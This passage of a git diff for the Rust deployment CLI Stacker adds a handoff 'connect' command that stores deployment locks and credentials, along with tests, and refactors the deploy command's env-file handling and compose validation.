+app:
+  type: static
+  path: {}
+"#,
+        );
+
+        let err = run_fix_interactive(&config_path).unwrap_err();
+        let msg = err.to_string();
+        assert!(msg.contains("app.path"), "unexpected message: {msg}");
+        assert!(
+            msg.contains("quoted path string"),
+            "unexpected message: {msg}"
+        );
+    }
+
+    #[test]
+    fn test_run_setup_ai_configures_ollama_without_removing_existing_config() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let config_path = write_config(
+            dir.path(),
+            r#"
+name: ai-app
+app:
+  type: static
+deploy:
+  target: local
+env:
+  KEEP_ME: "true"
+"#,
+        );
+
+        let applied = run_setup_ai(
+            &config_path,
+            AiSetupOptions {
+                provider: Some("ollama"),
+                endpoint: Some("http://localhost:11434"),
+                model: Some("llama3.1"),
+                timeout: Some(120),
+                tasks: &["dockerfile,compose".to_string()],
+            },
+        )
+        .unwrap();
+
+        assert!(applied.iter().any(|item| item.contains("ai.provider")));
+        let updated = StackerConfig::from_file(Path::new(&config_path)).unwrap();
+        assert!(updated.ai.enabled);
+        assert_eq!(updated.ai.provider, AiProviderType::Ollama);
+        assert_eq!(
+            updated.ai.endpoint.as_deref(),
+            Some("http://localhost:11434")
+        );
+        assert_eq!(updated.ai.model.as_deref(), Some("llama3.1"));
+        assert_eq!(updated.ai.timeout, 120);
+        assert_eq!(updated.ai.tasks, vec!["dockerfile", "compose"]);
+        assert_eq!(updated.env.get("KEEP_ME").map(String::as_str), Some("true"));
+    }
 }
diff --git a/src/console/commands/cli/connect.rs b/src/console/commands/cli/connect.rs
new file mode 100644
index 00000000..ee340066
--- /dev/null
+++ b/src/console/commands/cli/connect.rs
@@ -0,0 +1,398 @@
+use crate::cli::config_parser::StackerConfig;
+use crate::cli::credentials::{
+    CredentialStore, CredentialsManager, FileCredentialStore, StoredCredentials,
+};
+use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::error::CliError;
+use crate::cli::stacker_client::{StackerClient, DEFAULT_STACKER_URL};
+use crate::console::commands::cli::init::{generate_config, DEFAULT_CONFIG_FILE};
+use crate::console::commands::CallableTrait;
+use crate::handoff::{
+    DeploymentHandoffCredentials, DeploymentHandoffPayload, DeploymentHandoffProject,
+};
+use chrono::{DateTime, Utc};
+use dialoguer::Confirm;
+use std::io::{self, IsTerminal};
+use std::path::Path;
+
+pub struct ConnectCommand {
+    pub handoff: String,
+}
+
+impl ConnectCommand {
+    pub fn new(handoff: String) -> Self {
+        Self { handoff }
+    }
+}
+
+impl CallableTrait for ConnectCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let token = extract_handoff_token(&self.handoff)?;
+        let base_url = extract_handoff_base_url(&self.handoff);
+        let project_dir = std::env::current_dir()?;
+        let rt = tokio::runtime::Builder::new_current_thread()
+            .enable_all()
+            .build()
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+            })?;
+        let payload = rt.block_on(StackerClient::resolve_handoff(&base_url, &token))?;
+        let is_account_scoped = payload.is_account_scoped();
+        let deployment_hash = payload.deployment.hash.clone();
+
+        hydrate_project_dir(project_dir.as_path(), &payload)?;
+        if is_account_scoped {
+            eprintln!("✓ Signed in to Stacker CLI");
+            match maybe_bootstrap_account_project_dir(project_dir.as_path()) {
+                Ok(AccountBootstrapOutcome::ExistingConfig(path)) => {
+                    eprintln!("  Found existing {}", path.display());
+                    eprintln!("  You can now run: stacker deploy");
+                }
+                Ok(AccountBootstrapOutcome::CreatedConfig(path)) => {
+                    match StackerConfig::from_file(&path) {
+                        Ok(config) => {
+                            eprintln!(
+                                "  Created {} for the detected {} project",
+                                path.display(),
+                                config.app.app_type
+                            );
+                            eprintln!("  Review the generated config, then run: stacker deploy");
+                        }
+                        Err(err) => {
+                            eprintln!(
+                                "  Created {}, but failed to re-read it: {}",
+                                path.display(),
+                                err
+                            );
+                            eprintln!("  Review the file, then run: stacker deploy");
+                        }
+                    }
+                }
+                Ok(AccountBootstrapOutcome::Skipped) => {
+                    eprintln!("  You can now run: stacker init");
+                }
+                Err(err) => {
+                    eprintln!("  Automatic project bootstrap skipped: {}", err);
+                    eprintln!("  You can still run: stacker init");
+                }
+            }
+        } else {
+            eprintln!(
+                "✓ Connected deployment {} to this directory",
+                deployment_hash
+            );
+            eprintln!("  You can now run: stacker status");
+        }
+        Ok(())
+    }
+}
+
+fn extract_handoff_base_url(input: &str) -> String {
+    if let Ok(url) = reqwest::Url::parse(input) {
+        let scheme = url.scheme();
+        if let Some(host) = url.host_str() {
+            if let Some(port) = url.port() {
+                return format!("{}://{}:{}", scheme, host, port);
+            }
+            return format!("{}://{}", scheme, host);
+        }
+    }
+    DEFAULT_STACKER_URL.to_string()
+}
+
+fn extract_handoff_token(input: &str) -> Result<String, CliError> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return Err(CliError::ConfigValidation(
+            "Handoff token or URL is required".to_string(),
+        ));
+    }
+
+    if let Some(token) = trimmed.strip_prefix("stacker://handoff/") {
+        return Ok(token.to_string());
+    }
+
+    if let Ok(url) = reqwest::Url::parse(trimmed) {
+        if let Some(fragment) = url.fragment() {
+            if !fragment.trim().is_empty() {
+                return Ok(fragment.to_string());
+            }
+        }
+        if let Some(last) = url
+            .path_segments()
+            .and_then(|segments| segments.filter(|segment| !segment.is_empty()).last())
+        {
+            if last != "handoff" {
+                return Ok(last.to_string());
+            }
+        }
+    }
+
+    Ok(trimmed.to_string())
+}
+
+fn hydrate_project_dir(
+    project_dir: &Path,
+    payload: &DeploymentHandoffPayload,
+) -> Result<(), CliError> {
+    let manager = CredentialsManager::<FileCredentialStore>::with_default_store();
+    hydrate_project_dir_with_manager(project_dir, payload, &manager)
+}
+
+fn hydrate_project_dir_with_manager<S: CredentialStore>(
+    project_dir: &Path,
+    payload: &DeploymentHandoffPayload,
+    manager: &CredentialsManager<S>,
+) -> Result<(), CliError> {
+    if payload.is_account_scoped() {
+        let credentials = payload.credentials.as_ref().ok_or_else(|| {
+            CliError::ConfigValidation("Account handoff payload missing credentials".to_string())
+        })?;
+        return save_handoff_credentials_with_manager(manager, credentials);
+    }
+
+    let lock: DeploymentLock = serde_json::from_value(payload.lockfile.clone()).map_err(|e| {
+        CliError::ConfigValidation(format!("Invalid deployment lock in handoff payload: {}", e))
+    })?;
+    lock.save(project_dir)?;
+
+    let stacker_yml_path = project_dir.join(DEFAULT_CONFIG_FILE);
+    if !stacker_yml_path.exists() {
+        let contents = payload.stacker_yml.clone().unwrap_or_else(|| {
+            render_default_stacker_yml(&payload.project, &payload.deployment.hash)
+        });
+        std::fs::write(&stacker_yml_path, contents).map_err(CliError::Io)?;
+    }
+
+    if let Some(credentials) = payload.credentials.as_ref() {
+        save_handoff_credentials_with_manager(manager, credentials)?;
+    }
+
+    Ok(())
+}
+
+fn render_default_stacker_yml(project: &DeploymentHandoffProject, deployment_hash: &str) -> String {
+    format!(
+        "name: {}\nproject:\n  identity: {}\ndeploy:\n  target: cloud\n  deployment_hash: {}\n",
+        yaml_string(&project.name),
+        yaml_string(project.identity.as_deref().unwrap_or(&project.name)),
+        yaml_string(deployment_hash)
+    )
+}
+
+fn yaml_string(value: &str) -> String {
+    serde_yaml::to_string(value)
+        .map(|yaml| yaml.trim().to_string())
+        .unwrap_or_else(|_| format!("{:?}", value))
+}
+
+fn save_handoff_credentials_with_manager<S: CredentialStore>(
+    manager: &CredentialsManager<S>,
+    credentials: &DeploymentHandoffCredentials,
+) -> Result<(), CliError> {
+    let stored = StoredCredentials {
+        access_token: credentials.access_token.clone(),
+        refresh_token: None,
+        token_type: credentials.token_type.clone(),
+        expires_at: identity_expiry(credentials.expires_at),
+        email: credentials.email.clone(),
+        server_url: credentials.server_url.clone(),
+        org: None,
+        domain: None,
+    };
+    manager.save(&stored)
+}
+
+fn identity_expiry(expires_at: DateTime<Utc>) -> DateTime<Utc> {
+    expires_at
+}
+
+#[derive(Debug, PartialEq, Eq)]
+enum AccountBootstrapOutcome {
+    ExistingConfig(std::path::PathBuf),
+    CreatedConfig(std::path::PathBuf),
+    Skipped,
+}
+
+fn maybe_bootstrap_account_project_dir(
+    project_dir: &Path,
+) -> Result<AccountBootstrapOutcome, CliError> {
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+    if config_path.exists() {
+        return Ok(AccountBootstrapOutcome::ExistingConfig(config_path));
+    }
+
+    if !io::stdin().is_terminal() {
+        return Ok(AccountBootstrapOutcome::Skipped);
+    }
+
+    let create_config = Confirm::new()
+        .with_prompt("No stacker.yml found. Create one now using detected project defaults?")
+        .default(true)
+        .interact()
+        .map_err(|e| CliError::ConfigValidation(format!("Prompt error: {}", e)))?;
+
+    bootstrap_account_project_dir(project_dir, create_config)
+}
+
+fn bootstrap_account_project_dir(
+    project_dir: &Path,
+    create_config: bool,
+) -> Result<AccountBootstrapOutcome, CliError> {
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+    if config_path.exists() {
+        return Ok(AccountBootstrapOutcome::ExistingConfig(config_path));
+    }
+
+    if !create_config {
+        return Ok(AccountBootstrapOutcome::Skipped);
+    }
+
+    let created_path = generate_config(project_dir, None, false, false, false)?;
+    Ok(AccountBootstrapOutcome::CreatedConfig(created_path))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::credentials::FileCredentialStore;
+    use crate::handoff::{
+        DeploymentHandoffDeployment, DeploymentHandoffKind, DeploymentHandoffPayload,
+    };
+    use chrono::Duration;
+    use tempfile::TempDir;
+
+    #[test]
+    fn extracts_token_from_handoff_url_fragment() {
+        let token =
+            extract_handoff_token("https://stacker.try.direct/handoff#abc123-token").unwrap();
+        assert_eq!(token, "abc123-token");
+    }
+
+    #[test]
+    fn hydrates_project_dir_from_payload() {
+        let temp_dir = TempDir::new().unwrap();
+        let config_home = TempDir::new().unwrap();
+        let manager = CredentialsManager::new(FileCredentialStore::new(
+            config_home.path().join("stacker").join("credentials.json"),
+        ));
+        let payload = DeploymentHandoffPayload {
+            kind: DeploymentHandoffKind::Deployment,
+            version: 1,
+            expires_at: Utc::now() + Duration::minutes(5),
+            project: DeploymentHandoffProject {
+                id: 7,
+                name: "demo".to_string(),
+                identity: Some("demo".to_string()),
+            },
+            deployment: DeploymentHandoffDeployment {
+                id: 12,
+                hash: "dep-123".to_string(),
+                target: "cloud".to_string(),
+                status: "running".to_string(),
+            },
+            server: None,
+            cloud: None,
+            lockfile: serde_json::json!({
+                "target": "cloud",
+                "server_ip": "127.0.0.1",
+                "ssh_user": "root",
+                "ssh_port": 22,
+                "server_name": "demo",
+                "deployment_id": 12,
+                "project_id": 7,
+                "cloud_id": 9,
+                "project_name": "demo",
+                "deployed_at": "2026-04-12T10:00:00Z"
+            }),
+            stacker_yml: Some("name: demo\n".to_string()),
+            agent: None,
+            credentials: Some(DeploymentHandoffCredentials {
+                access_token: "token-1".to_string(),
+                token_type: "Bearer".to_string(),
+                expires_at: Utc::now() + Duration::minutes(5),
+                email: Some("demo@example.com".to_string()),
+                server_url: Some("https://stacker.try.direct".to_string()),
+            }),
+        };
+
+        hydrate_project_dir_with_manager(temp_dir.path(), &payload, &manager).unwrap();
+
+        assert!(temp_dir.path().join("stacker.yml").exists());
+        let lock = DeploymentLock::load(temp_dir.path()).unwrap().unwrap();
+        assert_eq!(lock.deployment_id, Some(12));
+        assert_eq!(lock.project_name.as_deref(), Some("demo"));
+    }
+
+    #[test]
+    fn account_scoped_handoff_skips_project_hydration() {
+        let temp_dir = TempDir::new().unwrap();
+        let config_home = TempDir::new().unwrap();
+        let store_path = config_home.path().join("stacker").join("credentials.json");
+        let manager = CredentialsManager::new(FileCredentialStore::new(store_path.clone()));
+        let payload = DeploymentHandoffPayload {
+            kind: DeploymentHandoffKind::Account,
+            version: 1,
+            expires_at: Utc::now() + Duration::hours(2),
+            project: DeploymentHandoffProject {
+                id: 0,
+                name: "user@example.com".to_string(),
+                identity: Some("user@example.com".to_string()),
+            },
+            deployment: DeploymentHandoffDeployment {
+                id: 0,
+                hash: String::new(),
+                target: "account".to_string(),
+                status: "ready".to_string(),
+            },
+            server: None,
+            cloud: None,
+            lockfile: serde_json::json!({}),
+            stacker_yml: None,
+            agent: None,
+            credentials: Some(DeploymentHandoffCredentials {
+                access_token: "token-1".to_string(),
+                token_type: "Bearer".to_string(),
+                expires_at: Utc::now() + Duration::hours(4),
+                email: Some("demo@example.com".to_string()),
+                server_url: Some("https://stacker.try.direct".to_string()),
+            }),
+        };
+
+        hydrate_project_dir_with_manager(temp_dir.path(), &payload, &manager).unwrap();
+
+        assert!(!temp_dir.path().join("stacker.yml").exists());
+        assert!(DeploymentLock::load(temp_dir.path()).unwrap().is_none());
+        assert!(store_path.exists());
+    }
+
+    #[test]
+    fn bootstrap_account_project_creates_config_when_requested() {
+        let temp_dir = TempDir::new().unwrap();
+        std::fs::write(temp_dir.path().join("package.json"), "{}").unwrap();
+
+        let outcome = bootstrap_account_project_dir(temp_dir.path(), true).unwrap();
+
+        let config_path = temp_dir.path().join(DEFAULT_CONFIG_FILE);
+        assert_eq!(
+            outcome,
+            AccountBootstrapOutcome::CreatedConfig(config_path.clone())
+        );
+        let config = StackerConfig::from_file(&config_path).unwrap();
+        assert_eq!(config.app.app_type.to_string(), "node");
+    }
+
+    #[test]
+    fn bootstrap_account_project_keeps_existing_config() {
+        let temp_dir = TempDir::new().unwrap();
+        let config_path = temp_dir.path().join(DEFAULT_CONFIG_FILE);
+        std::fs::write(&config_path, "name: demo\napp:\n  type: static\n").unwrap();
+
+        let outcome = bootstrap_account_project_dir(temp_dir.path(), true).unwrap();
+
+        assert_eq!(
+            outcome,
+            AccountBootstrapOutcome::ExistingConfig(config_path)
+        );
+    }
+}
diff --git a/src/console/commands/cli/deploy.rs b/src/console/commands/cli/deploy.rs
index 4a1df406..12dc2784 100644
--- a/src/console/commands/cli/deploy.rs
+++ b/src/console/commands/cli/deploy.rs
@@ -1,26 +1,34 @@
 use std::convert::TryFrom;
+use std::io::IsTerminal;
 use std::path::{Path, PathBuf};
 use std::time::Duration;
 
 use crate::cli::ai_client::{
     build_prompt, create_provider, ollama_complete_streaming, AiTask, PromptContext,
 };
+use crate::cli::cloud_env;
+#[cfg(test)]
+use crate::cli::compose_targets::extract_compose_secret_target_services;
+use crate::cli::config_bundle::build_config_bundle;
 use crate::cli::config_parser::{
-    AiProviderType, CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, ServerConfig,
-    StackerConfig,
+    AiProviderType, CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, RegistryConfig,
+    ServerConfig, StackerConfig,
 };
-use crate::cli::credentials::CredentialsManager;
+use crate::cli::credentials::{CredentialStore, CredentialsManager, StoredCredentials};
 use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
 use crate::cli::generator::compose::ComposeDefinition;
 use crate::cli::generator::dockerfile::DockerfileBuilder;
 use crate::cli::install_runner::{
-    strategy_for, CommandExecutor, DeployContext, DeployResult, ShellExecutor,
+    resolve_docker_registry_credentials, strategy_for, CommandExecutor, DeployContext,
+    DeployResult, HookPolicy, ShellExecutor,
 };
 use crate::cli::progress;
 use crate::cli::stacker_client::{self, StackerClient};
-use crate::helpers::ssh_client;
 use crate::console::commands::CallableTrait;
+use crate::helpers::ip::extract_ipv4_from_text;
+use crate::helpers::security_validator::validate_shell_scripts;
+use crate::helpers::ssh_client;
 
 /// Default config filename.
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
@@ -37,7 +45,10 @@ fn parse_ai_provider(s: &str) -> Result<AiProviderType, CliError> {
     })
 }
 
-fn resolve_ai_from_env_or_config(project_dir: &Path, config_file: Option<&str>) -> Result<crate::cli::config_parser::AiConfig, CliError> {
+fn resolve_ai_from_env_or_config(
+    project_dir: &Path,
+    config_file: Option<&str>,
+) -> Result<crate::cli::config_parser::AiConfig, CliError> {
     let config_path = match config_file {
         Some(f) => project_dir.join(f),
         None => project_dir.join(DEFAULT_CONFIG_FILE),
@@ -61,10 +72,14 @@ fn resolve_ai_from_env_or_config(project_dir: &Path, config_file: Option<&str>)
         }
     }
 
-    if let Ok(endpoint) = std::env::var("STACKER_AI_ENDPOINT") {
-        if !endpoint.trim().is_empty() {
-            ai.endpoint = Some(endpoint);
-            ai.enabled = true;
+    // Only apply STACKER_AI_ENDPOINT env var for ollama/custom — openai
+    // and anthropic have well-known defaults that should not be overridden.
+    if matches!(ai.provider, AiProviderType::Ollama | AiProviderType::Custom) {
+        if let Ok(endpoint) = std::env::var("STACKER_AI_ENDPOINT") {
+            if !endpoint.trim().is_empty() {
+                ai.endpoint = Some(endpoint);
+                ai.enabled = true;
+            }
         }
     }
 
@@ -107,15 +122,41 @@ fn resolve_ai_from_env_or_config(project_dir: &Path, config_file: Option<&str>)
     Ok(ai)
 }
 
+fn hydrate_server_deploy_config_from_lock(
+    project_dir: &Path,
+    config: &mut StackerConfig,
+    deploy_target: DeployTarget,
+) -> Result<(), CliError> {
+    if deploy_target != DeployTarget::Server || config.deploy.server.is_some() {
+        return Ok(());
+    }
+
+    if let Some(lock) = DeploymentLock::load_for_target(project_dir, "server")? {
+        if let Some(server_cfg) = lock.to_server_config() {
+            config.deploy.server = Some(server_cfg);
+        }
+    }
+
+    Ok(())
+}
+
 fn fallback_troubleshooting_hints(reason: &str) -> Vec<String> {
     let lower = reason.to_lowercase();
     let mut hints = Vec::new();
 
     if lower.contains("npm ci") {
-        hints.push("npm ci failed: ensure package-lock.json exists and is in sync with package.json".to_string());
-        hints.push("Try locally: npm ci --production (or npm ci) to see the full dependency error".to_string());
+        hints.push(
+            "npm ci failed: ensure package-lock.json exists and is in sync with package.json"
+                .to_string(),
+        );
+        hints.push(
+            "Try locally: npm ci --production (or npm ci) to see the full dependency error"
+                .to_string(),
+        );
     }
-    if lower.contains("the attribute `version` is obsolete") || lower.contains("attribute `version` is obsolete") {
+    if lower.contains("the attribute `version` is obsolete")
+        || lower.contains("attribute `version` is obsolete")
+    {
         hints.push("docker-compose version warning: remove top-level 'version:' from .stacker/docker-compose.yml".to_string());
     }
     if lower.contains("failed to solve") {
@@ -125,10 +166,14 @@ fn fallback_troubleshooting_hints(reason: &str) -> Vec<String> {
         hints.push("Permission issue detected: verify file ownership and executable bits for scripts copied into the image".to_string());
     }
     if lower.contains("no such file") || lower.contains("not found") {
-        hints.push("Missing file in build context: confirm COPY paths and .dockerignore rules".to_string());
+        hints.push(
+            "Missing file in build context: confirm COPY paths and .dockerignore rules".to_string(),
+        );
     }
     if lower.contains("network") || lower.contains("timed out") {
-        hints.push("Network/timeout issue: retry build and verify registry connectivity".to_string());
+        hints.push(
+            "Network/timeout issue: retry build and verify registry connectivity".to_string(),
+        );
     }
     if lower.contains("port is already allocated")
         || lower.contains("bind for 0.0.0.0")
@@ -151,11 +196,20 @@ fn fallback_troubleshooting_hints(reason: &str) -> Vec<String> {
         hints.push("Orphan containers detected: run docker compose -f .stacker/docker-compose.yml down --remove-orphans".to_string());
     }
     if lower.contains("manifest unknown") || lower.contains("pull access denied") {
-        hints.push("Image pull failed: the configured image tag is not available in the registry".to_string());
+        hints.push(
+            "Image pull failed: the configured image tag is not available in the registry"
+                .to_string(),
+        );
         if let Some(image) = extract_missing_image(reason) {
             hints.push(format!("Missing image detected: {}", image));
-            hints.push(format!("Build and tag locally: docker build -t {} .", image));
-            hints.push(format!("If using a remote registry, push it first: docker push {}", image));
+            hints.push(format!(
+                "Build and tag locally: docker build -t {} .",
+                image
+            ));
+            hints.push(format!(
+                "If using a remote registry, push it first: docker push {}",
+                image
+            ));
         } else {
             hints.push("Build locally first (docker build -t <image:tag> .) or use an existing published tag".to_string());
         }
@@ -165,7 +219,10 @@ fn fallback_troubleshooting_hints(reason: &str) -> Vec<String> {
     if hints.is_empty() {
         hints.push("Run docker compose -f .stacker/docker-compose.yml build --no-cache for detailed build logs".to_string());
         hints.push("Inspect .stacker/Dockerfile and .stacker/docker-compose.yml for invalid paths and commands".to_string());
-        hints.push("If the issue is dependency-related, run the failing install command locally first".to_string());
+        hints.push(
+            "If the issue is dependency-related, run the failing install command locally first"
+                .to_string(),
+        );
     }
 
     hints
@@ -191,36 +248,135 @@ fn extract_missing_image(reason: &str) -> Option<String> {
 }
 
 fn ensure_env_file_if_needed(config: &StackerConfig, project_dir: &Path) -> Result<(), CliError> {
-    let env_file = match &config.env_file {
-        Some(path) => path,
-        None => return Ok(()),
+    let Some(env_file) = &config.env_file else {
+        return Ok(());
     };
 
-    let env_path = if env_file.is_absolute() {
-        env_file.clone()
+    let env_path = resolve_project_relative_path(project_dir, env_file);
+    ensure_env_file_from_example(&env_path, "stacker.yml env_file")
+}
+
+fn resolve_project_relative_path(project_dir: &Path, path: &Path) -> PathBuf {
+    if path.is_absolute() {
+        path.to_path_buf()
     } else {
-        project_dir.join(env_file)
-    };
+        project_dir.join(path)
+    }
+}
 
+fn ensure_env_file_from_example(env_path: &Path, source: &str) -> Result<(), CliError> {
     if env_path.exists() {
         return Ok(());
     }
 
-    if let Some(parent) = env_path.parent() {
-        std::fs::create_dir_all(parent)?;
+    let file_name = env_path.file_name().and_then(|name| name.to_str());
+    let example_path = match file_name {
+        Some(".env") => env_path.with_file_name(".env.example"),
+        Some(name) => env_path.with_file_name(format!("{name}.example")),
+        None => env_path.with_extension("example"),
+    };
+
+    if example_path.exists() && file_name == Some(".env") {
+        if let Some(parent) = env_path.parent() {
+            std::fs::create_dir_all(parent)?;
+        }
+        std::fs::copy(&example_path, env_path)?;
+        #[cfg(unix)]
+        {
+            use std::os::unix::fs::PermissionsExt;
+            std::fs::set_permissions(env_path, std::fs::Permissions::from_mode(0o600))?;
+        }
+        eprintln!(
+            "  Created {} from {} for {} (mode 0600 where supported)",
+            env_path.display(),
+            example_path.display(),
+            source
+        );
+        return Ok(());
+    }
+
+    Err(CliError::ConfigValidation(format!(
+        "Missing env file referenced by {source}: {}. Create it or, for the common .env case, add {} and rerun `stacker deploy`.",
+        env_path.display(),
+        example_path.display()
+    )))
+}
+
+fn collect_compose_env_file_paths(compose_path: &Path) -> Result<Vec<PathBuf>, CliError> {
+    let raw = std::fs::read_to_string(compose_path)?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?;
+    let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    let mut paths = Vec::new();
+    collect_compose_env_file_paths_from_doc(&doc, compose_dir, &mut paths);
+    Ok(paths)
+}
+
+fn collect_compose_env_file_paths_from_doc(
+    doc: &serde_yaml::Value,
+    compose_dir: &Path,
+    paths: &mut Vec<PathBuf>,
+) {
+    let Some(services) = doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return;
+    };
+
+    for service in services.values() {
+        let Some(service_map) = service.as_mapping() else {
+            continue;
+        };
+        let Some(env_file) = service_map.get(serde_yaml::Value::String("env_file".to_string()))
+        else {
+            continue;
+        };
+        append_env_file_value_paths(env_file, compose_dir, paths);
     }
+}
 
-    let mut content = String::from("# Auto-created by Stacker because env_file was configured\n");
-    if !config.env.is_empty() {
-        let mut keys: Vec<&String> = config.env.keys().collect();
-        keys.sort();
-        for key in keys {
-            content.push_str(&format!("{}={}\n", key, config.env[key]));
+fn append_env_file_value_paths(
+    value: &serde_yaml::Value,
+    compose_dir: &Path,
+    paths: &mut Vec<PathBuf>,
+) {
+    match value {
+        serde_yaml::Value::String(path) => {
+            let path = PathBuf::from(path);
+            paths.push(if path.is_absolute() {
+                path
+            } else {
+                compose_dir.join(path)
+            });
+        }
+        serde_yaml::Value::Sequence(values) => {
+            for value in values {
+                append_env_file_value_paths(value, compose_dir, paths);
+            }
         }
+        serde_yaml::Value::Mapping(map) => {
+            if let Some(path) = map
+                .get(serde_yaml::Value::String("path".to_string()))
+                .and_then(serde_yaml::Value::as_str)
+            {
+                let path = PathBuf::from(path);
+                paths.push(if path.is_absolute() {
+                    path
+                } else {
+                    compose_dir.join(path)
+                });
+            }
+        }
+        _ => {}
     }
+}
 
-    std::fs::write(&env_path, content)?;
-    eprintln!("  Created missing env file: {}", env_path.display());
+fn ensure_compose_env_files_if_needed(compose_path: &Path) -> Result<(), CliError> {
+    for env_path in collect_compose_env_file_paths(compose_path)? {
+        ensure_env_file_from_example(&env_path, "compose env_file")?;
+    }
     Ok(())
 }
 
@@ -253,10 +409,7 @@ fn try_ssh_server_check(server: &ServerConfig) -> Option<ssh_client::SystemCheck
                     return None;
                 }
             };
-            let candidates = [
-                home.join(".ssh/id_ed25519"),
-                home.join(".ssh/id_rsa"),
-            ];
+            let candidates = [home.join(".ssh/id_ed25519"), home.join(".ssh/id_rsa")];
             match candidates.iter().find(|p| p.exists()) {
                 Some(p) => p.clone(),
                 None => {
@@ -311,9 +464,18 @@ fn print_server_unreachable_hint(server: &ServerConfig, check: &ssh_client::Syst
     eprintln!("  │ To deploy to this server, fix the connection issue and retry:   │");
     eprintln!("  │                                                                 │");
     if let Some(ref key) = server.ssh_key {
-        eprintln!("  │   ssh -i {} -p {} {}@{}", key.display(), server.port, server.user, server.host);
+        eprintln!(
+            "  │   ssh -i {} -p {} {}@{}",
+            key.display(),
+            server.port,
+            server.user,
+            server.host
+        );
     } else {
-        eprintln!("  │   ssh -p {} {}@{}", server.port, server.user, server.host);
+        eprintln!(
+            "  │   ssh -p {} {}@{}",
+            server.port, server.user, server.host
+        );
     }
     eprintln!("  │                                                                 │");
     eprintln!("  │ Or, to provision a new cloud server instead, remove the         │");
@@ -341,7 +503,10 @@ fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError
 
     if let serde_yaml::Value::Mapping(ref mut root) = doc {
         // Remove obsolete compose version key.
-        if root.remove(serde_yaml::Value::String("version".to_string())).is_some() {
+        if root
+            .remove(serde_yaml::Value::String("version".to_string()))
+            .is_some()
+        {
             changed = true;
         }
 
@@ -384,7 +549,9 @@ fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError
                     .map(|d| d.starts_with(".stacker/"))
                     .unwrap_or(false);
 
-                if dockerfile_points_to_stacker && (current_context == "." || current_context == "./") {
+                if dockerfile_points_to_stacker
+                    && (current_context == "." || current_context == "./")
+                {
                     build_map.insert(
                         context_key.clone(),
                         serde_yaml::Value::String("..".to_string()),
@@ -393,10 +560,7 @@ fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError
                 }
 
                 if service_name == "app" && (current_context == "." || current_context == "./") {
-                    build_map.insert(
-                        context_key,
-                        serde_yaml::Value::String("..".to_string()),
-                    );
+                    build_map.insert(context_key, serde_yaml::Value::String("..".to_string()));
 
                     let dockerfile_needs_rewrite = match dockerfile.as_deref() {
                         None => true,
@@ -418,8 +582,9 @@ fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError
     }
 
     if changed {
-        let updated = serde_yaml::to_string(&doc)
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize compose file: {e}")))?;
+        let updated = serde_yaml::to_string(&doc).map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to serialize compose file: {e}"))
+        })?;
         std::fs::write(compose_path, updated)?;
         eprintln!("  Normalized {}/docker-compose.yml paths", OUTPUT_DIR);
     }
@@ -427,1817 +592,6528 @@ fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError
     Ok(())
 }
 
-fn compose_app_build_source(compose_path: &Path) -> Option<String> {
-    let raw = std::fs::read_to_string(compose_path).ok()?;
-    let doc: serde_yaml::Value = serde_yaml::from_str(&raw).ok()?;
+fn validate_compose_for_deploy(compose_path: &Path) -> Result<(), CliError> {
+    let raw = std::fs::read_to_string(compose_path)?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?;
 
     let root = match doc {
         serde_yaml::Value::Mapping(m) => m,
-        _ => return None,
+        _ => {
+            return Err(CliError::ConfigValidation(
+                "Compose file must be a YAML mapping at the top level".to_string(),
+            ))
+        }
     };
 
     let services_key = serde_yaml::Value::String("services".to_string());
-    let app_key = serde_yaml::Value::String("app".to_string());
-    let build_key = serde_yaml::Value::String("build".to_string());
-    let context_key = serde_yaml::Value::String("context".to_string());
-    let dockerfile_key = serde_yaml::Value::String("dockerfile".to_string());
-
+    let include_key = serde_yaml::Value::String("include".to_string());
     let services = match root.get(&services_key) {
-        Some(serde_yaml::Value::Mapping(m)) => m,
-        _ => return None,
-    };
-    let app = match services.get(&app_key) {
-        Some(serde_yaml::Value::Mapping(m)) => m,
-        _ => return None,
+        Some(serde_yaml::Value::Mapping(m)) => Some(m),
+        _ => None,
     };
-    let build = app.get(&build_key)?;
 
-    let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    if services.is_none() {
+        match root.get(&include_key) {
+            Some(serde_yaml::Value::Sequence(_)) | Some(serde_yaml::Value::String(_)) => {
+                return Ok(());
+            }
+            _ => {
+                return Err(CliError::ConfigValidation(
+                    "Compose file must define a top-level services mapping".to_string(),
+                ))
+            }
+        }
+    }
 
-    match build {
-        serde_yaml::Value::String(context_str) => {
-            let context_path = PathBuf::from(context_str);
-            let context_abs = if context_path.is_absolute() {
-                context_path
-            } else {
-                compose_dir.join(context_path)
-            };
-            let dockerfile_abs = context_abs.join("Dockerfile");
-            Some(format!(
-                "context={}, dockerfile={}",
-                context_abs.display(),
-                dockerfile_abs.display()
-            ))
+    let services = services.expect("services checked above");
+
+    let mut published_ports: std::collections::BTreeMap<String, Vec<String>> =
+        std::collections::BTreeMap::new();
+
+    for (service_key, service_value) in services {
+        let service_name = service_key.as_str().unwrap_or("<unknown>").to_string();
